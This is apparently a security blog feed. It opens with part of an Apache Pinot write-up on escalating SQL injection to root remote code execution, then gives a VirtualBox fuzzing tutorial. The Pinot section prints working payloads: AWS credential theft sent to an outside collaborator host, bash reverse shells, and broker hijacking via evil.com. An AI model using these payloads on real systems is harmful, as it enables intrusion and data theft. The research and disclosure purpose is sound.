<li>Even though the limit is 5, every row in each segment being searched is processed. Once 5 rows are reached, the query returns results to the Broker, but the <code class="language-plaintext highlighter-rouge">root</code> lines continue being printed to the log.</li>
<li>The return and comparison values need not be the same. However the types must match <code class="language-plaintext highlighter-rouge">returnType</code> in the metadata JSON (here <code class="language-plaintext highlighter-rouge">INT</code>).</li>
<li>The <code class="language-plaintext highlighter-rouge">return</code> keyword is optional for the final statement, so the script could could end with <code class="language-plaintext highlighter-rouge">; 1</code>.</li>
</ol>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">myTable</span> <span class="k">WHERE</span> <span class="n">groovy</span><span class="p">(</span>
<span class="s1">'{"returnType":"INT","isSingleValue":true}'</span><span class="p">,</span>
<span class="s1">'println "hello $arg0"; "touch /tmp/id-$arg0".execute(); 42'</span><span class="p">,</span>
<span class="n">id</span>
<span class="p">)</span> <span class="o">=</span> <span class="mi">3</span>
</code></pre></div></div>
<p>In <code class="language-plaintext highlighter-rouge">/tmp</code>, expect root-owned files <code class="language-plaintext highlighter-rouge">id-1</code>, <code class="language-plaintext highlighter-rouge">id-2</code>, <code class="language-plaintext highlighter-rouge">id-3</code>, etc. for each row.</p>
<h4 class="no_toc" id="aws">AWS</h4>
<p>Steal temporary AWS IAM credentials from pinot-server.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">myTable</span> <span class="k">WHERE</span> <span class="n">groovy</span><span class="p">(</span>
<span class="s1">'{"returnType":"INT","isSingleValue":true}'</span><span class="p">,</span>
<span class="n">CONCAT</span><span class="p">(</span><span class="n">CONCAT</span><span class="p">(</span><span class="n">CONCAT</span><span class="p">(</span><span class="n">CONCAT</span><span class="p">(</span>
<span class="s1">'def aws = "169.254.169.254/latest/meta-data/iam/security-credentials/";'</span><span class="p">,</span>
<span class="s1">'def collab = "xyz.burpcollaborator.net/";'</span><span class="p">,</span>
<span class="s1">''</span><span class="p">),</span><span class="s1">'def role = "curl -s ${aws}".execute().text.split("</span><span class="se">\n</span><span class="s1">")[0].trim();'</span><span class="p">,</span>
<span class="s1">''</span><span class="p">),</span><span class="s1">'def creds = "curl -s ${aws}${role}".execute().text;'</span><span class="p">,</span>
<span class="s1">''</span><span class="p">),</span><span class="s1">'["curl", collab, "--data", creds].execute(); 0'</span><span class="p">,</span>
<span class="s1">''</span><span class="p">)</span>
<span class="p">)</span> <span class="o">=</span> <span class="mi">1</span>
</code></pre></div></div>
<p>Could give access to cloud resources like S3. The code can of course be adapted to work with IMDSv2.</p>
<h4 class="no_toc" id="reverse-shell">Reverse Shell</h4>
<p>The goal is really to have a root shell from which to explore the cluster at your leisure without your commands appearing in query logs. You can use the following:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">myTable</span> <span class="k">WHERE</span> <span class="n">groovy</span><span class="p">(</span>
<span class="s1">'{"returnType":"INT","isSingleValue":true}'</span><span class="p">,</span>
<span class="s1">'["bash", "-c", "bash -i >& /dev/tcp/192.168.0.4/443 0>&1 &"].execute(); return 1'</span>
<span class="p">)</span> <span class="o">=</span> <span class="mi">1</span>
</code></pre></div></div>
<p>to spawn loads of reverse shells at the same time, one per row.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@pinot-server-1:/opt/pinot#
</code></pre></div></div>
<p>You will be root on whichever Server instances are chosen by the broker based on which Servers contain the required table segments for the query.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">myTable</span> <span class="k">WHERE</span> <span class="n">groovy</span><span class="p">(</span>
<span class="s1">'{"returnType":"STRING","isSingleValue":true}'</span><span class="p">,</span>
<span class="s1">'["bash", "-c", "bash -i >& /dev/tcp/192.168.0.4/4444 0>&1 &"].execute().text'</span>
<span class="p">)</span> <span class="o">=</span> <span class="s1">'x'</span>
</code></pre></div></div>
<p>This launches one reverse shell. If you accidentally kill the shell, however far into the future, a new reverse shell attempt will be spawned as the Server processes the next row. Yes, the client and Broker will see the query timeout, but the Server will continue executing the query until completion.</p>
<h3 class="no_toc" id="tuning">Tuning</h3>
<p>When coming across Pinot for the first time on an engagement, we used a Groovy query similar to the AWS one above. However, as you can already guess, this launched tens of thousands of requests at Burp Collaborator over a span of several hours with no way to stop the runaway query besides confessing our sin to the client.</p>
<p>To avoid spawning thousands of processes and causing performance degradation and potentially a Denial of Service, limit execution to a single row with an <code class="language-plaintext highlighter-rouge">if</code> statement in Groovy.</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">myTable</span> <span class="k">WHERE</span> <span class="n">groovy</span><span class="p">(</span>
<span class="s1">'{"returnType":"INT","isSingleValue":true}'</span><span class="p">,</span>
<span class="n">CONCAT</span><span class="p">(</span><span class="n">CONCAT</span><span class="p">(</span><span class="n">CONCAT</span><span class="p">(</span><span class="n">CONCAT</span><span class="p">(</span>
<span class="s1">'if (arg0 == "489") {'</span><span class="p">,</span>
<span class="s1">'["bash", "-c", "bash -i >& /dev/tcp/192.168.0.4/4444 0>&1 &"].execute();'</span><span class="p">,</span>
<span class="s1">''</span><span class="p">),</span><span class="s1">'return 1;'</span><span class="p">,</span>
<span class="s1">''</span><span class="p">),</span><span class="s1">'};'</span><span class="p">,</span>
<span class="s1">''</span><span class="p">),</span><span class="s1">'return 0'</span><span class="p">,</span>
<span class="s1">''</span><span class="p">),</span>
<span class="n">id</span>
<span class="p">)</span> <span class="o">=</span> <span class="mi">1</span>
</code></pre></div></div>
<p>A reverse shell is spawned only for the one row with id 489.</p>
<h2 id="use-rce-on-server-to-attack-other-nodes">Use RCE on Server to Attack Other Nodes</h2>
<p>We have root access to a Server via our reverse shell, giving us access to:</p>
<ul>
<li>All the segment data stored on the Server</li>
<li>Configuration and environment variables with the locations of other services such as Broker and Zookeeper</li>
<li>Potentially keys to the cloud environment with juicy IAM permissions</li>
</ul>
<p>As we’re root here already, let’s try to use our foothold to affect other parts of the Pinot cluster such as Zookeeper, Brokers, Controllers, and other Servers.</p>
<p>First we should check the configuration.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@pinot-server-1:/opt/pinot# cat /proc/1/cmdline | sed 's/\x00/ /g'
/usr/local/openjdk-11/bin/java -Xms512M ... -Xlog:gc*:file=/opt/pinot/gc-pinot-server.log -Dlog4j2.configurationFile=/opt/pinot/conf/log4j2.xml -Dplugins.dir=/opt/pinot/plugins -Dplugins.dir=/opt/pinot/plugins -classpath /opt/pinot/lib/*:...:/opt/pinot/plugins/pinot-file-system/pinot-s3/pinot-s3-0.10.0-SNAPSHOT-shaded.jar -Dapp.name=pinot-admin -Dapp.pid=1 -Dapp.repo=/opt/pinot/lib -Dapp.home=/opt/pinot -Dbasedir=/opt/pinot org.apache.pinot.tools.admin.PinotAdministrator StartServer -clusterName pinot -zkAddress pinot-zookeeper:2181 -configFileName /var/pinot/server/config/pinot-server.conf
</code></pre></div></div>
<p>We have a Zookeeper address <code class="language-plaintext highlighter-rouge">-zkAddress pinot-zookeeper:2181</code> and config file location <code class="language-plaintext highlighter-rouge">-configFileName /var/pinot/server/config/pinot-server.conf</code>. The file contains data locations and <a href="https://docs.pinot.apache.org/v/release-0.10.0/operators/tutorials/authentication-authorization-and-acls">auth tokens</a> in the unlikely event that internal cluster authentication has been enabled.</p>
<h3 class="no_toc" id="zookeeper-1">Zookeeper</h3>
<p>It is likely that the locations of other services are available as environment variables, however the source of truth is Zookeeper. Nodes must be able to read and write to Zookeeper to update their status.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@pinot-server-1:/opt/pinot# cd /tmp
root@pinot-server-1:/tmp# wget -q https://dlcdn.apache.org/zookeeper/zookeeper-3.8.0/apache-zookeeper-3.8.0-bin.tar.gz && tar xzf apache-zookeeper-3.8.0-bin.tar.gz
root@pinot-server-1:/tmp# ./apache-zookeeper-3.8.0-bin/bin/zkCli.sh -server pinot-zookeeper:2181
Connecting to pinot-zookeeper:2181
...
2022-06-06 20:53:52,385 [myid:pinot-zookeeper:2181] - INFO [main-SendThread(pinot-zookeeper:2181):o.a.z.ClientCnxn$SendThread@1444] - Session establishment complete on server pinot-zookeeper/10.103.140.149:2181, session id = 0x10000046bac0016, negotiated timeout = 30000
...
[zk: pinot-zookeeper:2181(CONNECTED) 0] ls /pinot/CONFIGS/PARTICIPANT
[Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099, Controller_pinot-controller-0.pinot-controller-headless.pinot-quickstart.svc.cluster.local_9000, Minion_pinot-minion-0.pinot-minion-headless.pinot-quickstart.svc.cluster.local_9514, Server_pinot-server-0.pinot-server-headless.pinot-quickstart.svc.cluster.local_8098, Server_pinot-server-1.pinot-server-headless.pinot-quickstart.svc.cluster.local_8098]
</code></pre></div></div>
<p>Now we have the list of “participants” in our Pinot cluster. We can <code class="language-plaintext highlighter-rouge">get</code> the configuration of a Broker:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[zk: pinot-zookeeper:2181(CONNECTED) 1] get /pinot/CONFIGS/PARTICIPANT/Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099
{
"id" : "Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099",
"simpleFields" : {
"HELIX_ENABLED" : "true",
"HELIX_ENABLED_TIMESTAMP" : "1654547467392",
"HELIX_HOST" : "pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local",
"HELIX_PORT" : "8099"
},
"mapFields" : { },
"listFields" : {
"TAG_LIST" : [ "DefaultTenant_BROKER" ]
}
}
</code></pre></div></div>
<p>By modifying the broker <code class="language-plaintext highlighter-rouge">HELIX_HOST</code> in Zookeeper (using <code class="language-plaintext highlighter-rouge">set</code>), Pinot queries will be sent via HTTP POST to <code class="language-plaintext highlighter-rouge">/query/sql</code> on a machine you control rather than the real broker. You can then reply with your own results. While powerful, this is a rather disruptive attack.</p>
<p>In further mitigation, it will not affect services which send requests directly to a hardcoded Broker address. Many clients do rely on Zookeeper or the Controller to locate the broker, and these clients will be affected. We have not investigated whether intra-cluster mutual TLS would downgrade this attack to DoS.</p>
<h3 class="no_toc" id="broker-1">Broker</h3>
<p>We discovered the location of the broker. Its <code class="language-plaintext highlighter-rouge">HELIX_PORT</code> refers to the an HTTP server used for submitting SQL queries:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-X</span> POST <span class="se">\</span>
<span class="nt">-d</span> <span class="s1">'{"sql":"SELECT X FROM Y"}'</span> <span class="se">\</span>
http://pinot-broker-0:8099/query/sql
</code></pre></div></div>
<p>Sending queries directly to the broker may be much easier than via the SQLi endpoint. Note that the broker may have basic auth enabled, but as with all Pinot services it is disabled by default.</p>
<p>All Pinot REST services also have an <code class="language-plaintext highlighter-rouge">/appconfigs</code> endpoint returning configuration, environment variables and java versions.</p>
<h3 class="no_toc" id="other-servers">Other Servers</h3>
<p>There may be data which is only present on other Servers. From your reverse shell, SQL queries can be sent to any other Server via GRPC without requiring authentication.</p>
<p>Alternatively, we can go back and use Pinot’s <a href="https://docs.pinot.apache.org/v/release-0.10.0/users/user-guide-query/filtering-with-idset">IdSet subquery functionality</a> to get shells on other Servers. We do this by injecting an <code class="language-plaintext highlighter-rouge">IN_SUBQUERY(columnName, subQuery)</code> filter into our original query to <code class="language-plaintext highlighter-rouge">tableA</code> to produce SQL like:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="o">*</span> <span class="k">FROM</span> <span class="n">tableA</span>
<span class="k">WHERE</span>
<span class="n">IN_SUBQUERY</span><span class="p">(</span>
<span class="s1">'x'</span><span class="p">,</span>
<span class="s1">'SELECT ID_SET(firstName) FROM tableB WHERE groovy(</span><span class="se">''</span><span class="s1">{"returnType":"INT","isSingleValue":true}</span><span class="se">''</span><span class="s1">,</span><span class="se">''</span><span class="s1">println "RCE";return 3</span><span class="se">''</span><span class="s1">, studentID)=3'</span>
<span class="p">)</span> <span class="o">=</span> <span class="k">true</span>
</code></pre></div></div>
<p>It is important that the <code class="language-plaintext highlighter-rouge">tableA</code> column name (here the literal <code class="language-plaintext highlighter-rouge">'x'</code>) and the <code class="language-plaintext highlighter-rouge">ID_SET</code> column of the subquery have the same type. If an integer column from <code class="language-plaintext highlighter-rouge">tableB</code> is used instead of <code class="language-plaintext highlighter-rouge">firstName</code>, the <code class="language-plaintext highlighter-rouge">'x'</code> must be replaced with an integer.</p>
<p>We now get RCE on the Servers holding segments of <code class="language-plaintext highlighter-rouge">tableB</code>.</p>
<h3 class="no_toc" id="controller-1">Controller</h3>
<p>The Controller also has a useful REST API.</p>
<p>It has methods for getting and setting data such as cluster configuration, table schemas, instance information and segment data.</p>
<p>It can be used to interact with Zookeeper e.g. to update the broker host like was done directly via Zookeeper above.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> PUT <span class="s2">"http://localhost:9000/instances/Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099?updateBrokerResource=true"</span> <span class="nt">-H</span> <span class="s2">"accept: application/json"</span> <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-d</span> <span class="s2">"{ </span><span class="se">\"</span><span class="s2">instanceName</span><span class="se">\"</span><span class="s2">: </span><span class="se">\"</span><span class="s2">Broker_pinot-broker-0.pinot-broker-headless.pinot-quickstart.svc.cluster.local_8099</span><span class="se">\"</span><span class="s2">, </span><span class="se">\"</span><span class="s2">host</span><span class="se">\"</span><span class="s2">: </span><span class="se">\"</span><span class="s2">evil.com</span><span class="se">\"</span><span class="s2">, </span><span class="se">\"</span><span class="s2">enabled</span><span class="se">\"</span><span class="s2">: true, </span><span class="se">\"</span><span class="s2">port</span><span class="se">\"</span><span class="s2">: </span><span class="se">\"</span><span class="s2">8099</span><span class="se">\"</span><span class="s2">, </span><span class="se">\"</span><span class="s2">tags</span><span class="se">\"</span><span class="s2">: [</span><span class="se">\"</span><span class="s2">DefaultTenant_BROKER</span><span class="se">\"</span><span class="s2">], </span><span class="se">\"</span><span class="s2">type</span><span class="se">\"</span><span class="s2">:</span><span class="se">\"</span><span class="s2">BROKER</span><span class="se">\"</span><span class="s2">, </span><span class="se">\"</span><span class="s2">pools</span><span class="se">\"</span><span class="s2">: null, </span><span class="se">\"</span><span class="s2">grpcPort</span><span class="se">\"</span><span class="s2">: -1, </span><span class="se">\"</span><span class="s2">adminPort</span><span class="se">\"</span><span class="s2">: -1, </span><span class="se">\"</span><span class="s2">systemResourceInfo</span><span class="se">\"</span><span class="s2">: null}"</span>
</code></pre></div></div>
<p>Files can also be uploaded for ingestion into tables.</p>
<h2 id="tldr">TLDR</h2>
<ul>
<li>Pinot is a modern database platform that can be attacked with old-school SQLi</li>
<li>SQL injection leads to Remote Code Execution by default in the latest release, at the time of writing</li>
<li>In the official container images, RCE means root on the Server component of the Pinot cluster</li>
<li>From here, other components can be affected to a certain degree</li>
<li>WTF is going on with <code class="language-plaintext highlighter-rouge">OPTION()</code>?</li>
<li>Pinot is under active development. Maturity will bring security improvements</li>
<li>In an upcoming release (>0.10.0) the SQLi to RCE footgun will be opt-in</li>
</ul>
Introduction to VirtualBox security research2022-04-26T00:00:00+02:00https://blog.doyensec.com/2022/04/26/vbox-fuzzing<h2 id="introduction">Introduction</h2>
<p>This article introduces VirtualBox research and explains how to build a coverage-based fuzzer, focusing on the emulated network device drivers. In the examples below, we explain how to create a harness for the non-default network device driver <em>PCNet</em>. The example can be readily adjusted for a different network driver or even different device driver components.</p>
<p>We are aware that there are excellent resources related to this topic - see [1], [2]. However, these cover the fuzzing process from a high-level perspective or omit some important technical details. Our goal is to present all the necessary steps and code required to instrument and debug the latest <a href="https://download.virtualbox.org/virtualbox/LATEST-STABLE.TXT">stable</a> version of VirtualBox (6.1.30 at the time of writing). As the SVN version is out-of-sync, we download the <a href="https://download.virtualbox.org/virtualbox">tarball</a> instead.</p>
<p>In our setup, we use Ubuntu 20.04.3 LTS. As the VT-x/AMD-V feature is not fully supported for VirtualBox, we use a native host. When using a MacBook, the following <a href="https://florisvanbreugel.wordpress.com/2018/03/23/installing-ubuntu-on-an-external-ssd-drive-on-a-macbook/">guide</a> enables a Linux installation to an external SSD.</p>
<p>VirtualBox uses the <a href="https://www.virtualbox.org/wiki/kBuild">kBuild</a> framework for building. As mentioned on their page, only a few (0.5) people on our planet understand it, but editing makefiles should be straightforward. As we will see later, after commenting out hardware-specific components, that’s indeed true.</p>
<p><em>kmk</em> is a kBuild alternative for the <em>make</em> subsystem. It allows creating debug or release builds, depending on the supplied arguments. The debug build provides a robust logging mechanism, which we will describe next.</p>
<p>Note that in this article, we will use three different builds. The remaining two release builds are for fuzzing and coverage reporting. Because they involve modifying the source code, we use a separate directory for every instance.</p>
<h2 id="debug-build">Debug Build</h2>
<p>The build instructions for Linux are described <a href="https://www.virtualbox.org/wiki/Linux%20build%20instructions">here</a>. After installing all required dependencies, it’s enough to run the following commands:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./configure --disable-hardening --disable-docs
$ source ./env.sh && kmk KBUILD_TYPE=debug
</code></pre></div></div>
<p>If successful, the binary <code class="language-plaintext highlighter-rouge">VirtualBox</code> from the <code class="language-plaintext highlighter-rouge">out/linux.amd64/debug/bin/VirtualBox</code> directory will be created. Before creating our first guest host, we have to compile and load the kernel modules:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ VERSION=6.1.30
$ vbox_dir=~/VirtualBox-$VERSION-debug/
$ (cd $vbox_dir/out/linux.amd64/debug/bin/src/vboxdrv && sudo make && sudo insmod vboxdrv.ko)
$ (cd $vbox_dir/out/linux.amd64/debug/bin/src/vboxnetflt && sudo make && sudo insmod vboxnetflt.ko)
$ (cd $vbox_dir/out/linux.amd64/debug/bin/src/vboxnetadp && sudo make && sudo insmod vboxnetadp.ko)
</code></pre></div></div>
<p>VirtualBox defines the <code class="language-plaintext highlighter-rouge">VBOXLOGGROUP</code> enum inside <code class="language-plaintext highlighter-rouge">include/VBox/log.h</code>, allowing to selectively enable the logging of specific files or functionalities. Unfortunately, since the logging is intended for the debug builds, we could not enable this functionality in the release build without making many cumbersome changes.</p>
<p>Unlike the <code class="language-plaintext highlighter-rouge">VirtualBox</code> binary, the <code class="language-plaintext highlighter-rouge">VBoxHeadless</code> startup utility located in the same directory allows running the machines directly from the command-line interface. For illustration, we want to enable debugging for both this component and the PCNet network driver. First, we have to identify the entries of the <code class="language-plaintext highlighter-rouge">VBOXLOGGROUP</code>. They are defined using the <code class="language-plaintext highlighter-rouge">LOG_GROUP_</code> string near the beginning of the file we wish to trace:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ grep LOG_GROUP_ src/VBox/Frontends/VBoxHeadless/VBoxHeadless.cpp src/VBox/Devices/Network/DevPCNet.cpp
src/VBox/Frontends/VBoxHeadless/VBoxHeadless.cpp:#define LOG_GROUP LOG_GROUP_GUI
src/VBox/Devices/Network/DevPCNet.cpp:#define LOG_GROUP LOG_GROUP_DEV_PCNET
</code></pre></div></div>
<p>We redirect the output to the terminal instead of creating log files and specify the <em>Log Group</em> name, using the lowercased string from the grep output and without the prefix:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export VBOX_LOG_DEST="nofile stdout"
$ VBOX_LOG="+gui.e.l.f+dev_pcnet.e.l.f.l2" out/linux.amd64/debug/bin/VBoxHeadless -startvm vm-test
</code></pre></div></div>
<p>The VirtualBox logging facility and the meaning of all parameters are clarified <a href="https://www.virtualbox.org/wiki/VBoxLogging">here</a>. The output is easy to grep, and it’s crucial for understanding the internal structures.</p>
<h2 id="afl-instrumentation-for-afl-clang-fast--afl-clang-fast">AFL instrumentation for afl-clang-fast / afl-clang-fast++</h2>
<h3 id="installing-clang">Installing Clang</h3>
<p>For Ubuntu, we can follow the official <a href="https://apt.llvm.org/">instructions</a> to install the Clang compiler. We used <code class="language-plaintext highlighter-rouge">clang-12</code>, because building was not possible with the previous version. Alternatively, <code class="language-plaintext highlighter-rouge">clang-13</code> is supported too. After we are done, it is useful to verify the installation and create symlinks to ensure <a href="https://github.com/AFLplusplus/AFLplusplus">AFLplusplus</a> will not complain about missing locations:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ rehash
$ clang --version
$ clang++ --version
$ llvm-config --version
$ llvm-ar --version
$ sudo ln -sf /usr/bin/llvm-config-12 /usr/bin/llvm-config
$ sudo ln -sf /usr/bin/clang++-12 /usr/bin/clang++
$ sudo ln -sf /usr/bin/clang-12 /usr/bin/clang
$ sudo ln -sf /usr/bin/llvm-ar-12 /usr/bin/llvm-ar
</code></pre></div></div>
<h3 id="building-aflplusplus-afl">Building AFLplusplus (AFL++)</h3>
<p>Our fuzzer of choice was AFL++, although everything can be trivially reproduced with <a href="https://llvm.org/docs/LibFuzzer.html">libFuzzer</a> too. Since we don’t need the black box instrumentation, it’s enough to include the <code class="language-plaintext highlighter-rouge">source-only</code> parts:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git clone https://github.com/AFLplusplus/AFLplusplus
$ cd AFLplusplus
# use this revision if the VirtualBox compilation fails
$ git checkout 66ca8618ea3ae1506c96a38ef41b5f04387ab560
$ make source-only
$ sudo make install
</code></pre></div></div>
<h3 id="applying-patches">Applying patches</h3>
<p>To use clang for fuzzing, it’s necessary to create a new template <code class="language-plaintext highlighter-rouge">kBuild/tools/AFL.kmk</code> by using the <code class="language-plaintext highlighter-rouge">vbox-fuzz/AFL.kmk</code> file, available on <a href="https://github.com/doyensec/vbox-fuzz">https://github.com/doyensec/vbox-fuzz</a>.</p>
<p>Moreover, we have to fix multiple issues related to undefined symbols or different commentary styles. The most important change is disabling the instrumentation for Ring-0 components (<code class="language-plaintext highlighter-rouge">TEMPLATE_VBoxR0_TOOL</code>). Otherwise it’s not possible to boot the guest machine. All these changes are included in the patch files.</p>
<p>Interestingly, when I was investigating the error message I obtained during the failed compilation, I found some recent <a href="https://conference.hitb.org/hitbsecconf2021ams/materials/D2T2%20-%20Discovering%2010+%20Vulnerabilities%20in%20Virtualbox%20-%20Chen%20Nan.pdf">slides</a> from the HITB conference describing exactly the same issue. This was a confirmation that I was on the right track, and more people were trying the same approach. The slides also mention <code class="language-plaintext highlighter-rouge">VBoxHeadless,</code> which was a natural choice for a harness, that we used too.</p>
<p>If the unmodified VirtualBox is located inside the <code class="language-plaintext highlighter-rouge">~/VirtualBox-6.1.30-release-afl</code> directory, we run these commands to apply all necessary patches:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ TO_PATCH=6.1.30
$ SRC_PATCH=6.1.30
$ cd ~/VirtualBox-$TO_PATCH-release-afl
$ patch -p1 < ~/vbox-fuzz/$SRC_PATCH/Config.patch
$ patch -p1 < ~/vbox-fuzz/$SRC_PATCH/undefined_xfree86.patch
$ patch -p1 < ~/vbox-fuzz/$SRC_PATCH/DevVGA-SVGA3d-glLdr.patch
$ patch -p1 < ~/vbox-fuzz/$SRC_PATCH/VBoxDTraceLibCWrappers.patch
$ patch -p1 < ~/vbox-fuzz/$SRC_PATCH/os_Linux_x86_64.patch
</code></pre></div></div>
<p>Running <code class="language-plaintext highlighter-rouge">kmk</code> without <code class="language-plaintext highlighter-rouge">KBUILD_TYPE</code> yields instrumented binaries, where the device drivers are bundled inside <code class="language-plaintext highlighter-rouge">VBoxDD.so</code> shared object. The output from <code class="language-plaintext highlighter-rouge">nm</code> confirms the presence of the instrumentation symbols:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nm out/linux.amd64/release/bin/VBoxDD.so | egrep "afl|sancov"
U __afl_area_ptr
U __afl_coverage_discard
U __afl_coverage_off
U __afl_coverage_on
U __afl_coverage_skip
000000000033e124 d __afl_selective_coverage
0000000000028030 t sancov.module_ctor_trace_pc_guard
000000000033f5a0 d __start___sancov_guards
000000000036f158 d __stop___sancov_guards
</code></pre></div></div>
<h2 id="creating-coverage-reports">Creating Coverage Reports</h2>
<p>First, we have to apply the patches for AFL, described in the previous section. After that, we copy the instrumented version and remove the earlier compiled binaries if they are present:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ VERSION=6.1.30
$ cp -r ~/VirtualBox-$VERSION-release-afl ~/VirtualBox-$VERSION-release-afl-gcov
$ cd ~/VirtualBox-$VERSION-release-afl-gcov
$ rm -rf out
</code></pre></div></div>
<p>Now we have to edit the <code class="language-plaintext highlighter-rouge">kBuild/tools/AFL.kmk</code> template to append <code class="language-plaintext highlighter-rouge">-fprofile-instr-generate -fcoverage-mapping</code> switches as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>TOOL_AFL_CC ?= afl-clang-fast$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping
TOOL_AFL_CXX ?= afl-clang-fast++$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping
TOOL_AFL_AS ?= afl-clang-fast$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping
TOOL_AFL_LD ?= afl-clang-fast++$(HOSTSUFF_EXE) -m64 -fprofile-instr-generate -fcoverage-mapping
</code></pre></div></div>
<p>To avoid duplication, we share the <code class="language-plaintext highlighter-rouge">src</code> and <code class="language-plaintext highlighter-rouge">include</code> folders with the fuzzing build:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ rm -rf ./src
$ rm -rf ./include
$ ln -s ../VirtualBox-$VERSION-release-afl/src $PWD/src
$ ln -s ../VirtualBox-$VERSION-release-afl/include $PWD/include
</code></pre></div></div>
<p>Lastly, we expand the list of undefined symbols inside <code class="language-plaintext highlighter-rouge">src/VBox/Additions/x11/undefined_xfree86</code> by adding:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ftell
uname
strerror
mkdir
__cxa_atexit
fclose
fileno
fdopen
strrchr
fseek
fopen
ftello
prctl
strtol
getpid
mmap
getpagesize
strdup
</code></pre></div></div>
<p>Furthermore, because this build is intended for reporting only, we disable all unnecessary features:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./configure --disable-hardening --disable-docs --disable-java --disable-qt
$ source ./env.sh && kmk
</code></pre></div></div>
<p>The raw profile is generated by setting <code class="language-plaintext highlighter-rouge">LLVM_PROFILE_FILE</code>. For more information, the <a href="https://releases.llvm.org/12.0.0/tools/clang/docs/SourceBasedCodeCoverage.html">Clang documentation</a> provides the necessary details.</p>
<h2 id="writing-a-harness">Writing a harness</h2>
<h3 id="getting-pvm">Getting pVM</h3>
<p>At this point, the VirtualBox drivers are fully instrumented, and the only remaining thing left before we start fuzzing is a harness. The PCNet device driver is defined in <code class="language-plaintext highlighter-rouge">src/VBox/Devices/Network/DevPCNet.cpp</code>, and it exports several functions. Our output is truncated to include only R3 components, as these are the ones we are targeting:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
* The device registration structure.
*/</span>
<span class="k">const</span> <span class="n">PDMDEVREG</span> <span class="n">g_DevicePCNet</span> <span class="o">=</span>
<span class="p">{</span>
<span class="cm">/* .u32Version = */</span> <span class="n">PDM_DEVREG_VERSION</span><span class="p">,</span>
<span class="cm">/* .uReserved0 = */</span> <span class="mi">0</span><span class="p">,</span>
<span class="cm">/* .szName = */</span> <span class="s">"pcnet"</span><span class="p">,</span>
<span class="cp">#ifdef PCNET_GC_ENABLED
</span> <span class="cm">/* .fFlags = */</span> <span class="n">PDM_DEVREG_FLAGS_DEFAULT_BITS</span> <span class="o">|</span> <span class="n">PDM_DEVREG_FLAGS_RZ</span> <span class="o">|</span> <span class="n">PDM_DEVREG_FLAGS_NEW_STYLE</span><span class="p">,</span>
<span class="cp">#else
</span> <span class="cm">/* .fFlags = */</span> <span class="n">PDM_DEVREG_FLAGS_DEFAULT_BITS</span><span class="p">,</span>
<span class="cp">#endif
</span> <span class="cm">/* .fClass = */</span> <span class="n">PDM_DEVREG_CLASS_NETWORK</span><span class="p">,</span>
<span class="cm">/* .cMaxInstances = */</span> <span class="o">~</span><span class="mi">0U</span><span class="p">,</span>
<span class="cm">/* .uSharedVersion = */</span> <span class="mi">42</span><span class="p">,</span>
<span class="cm">/* .cbInstanceShared = */</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PCNETSTATE</span><span class="p">),</span>
<span class="cm">/* .cbInstanceCC = */</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PCNETSTATECC</span><span class="p">),</span>
<span class="cm">/* .cbInstanceRC = */</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">PCNETSTATERC</span><span class="p">),</span>
<span class="cm">/* .cMaxPciDevices = */</span> <span class="mi">1</span><span class="p">,</span>
<span class="cm">/* .cMaxMsixVectors = */</span> <span class="mi">0</span><span class="p">,</span>
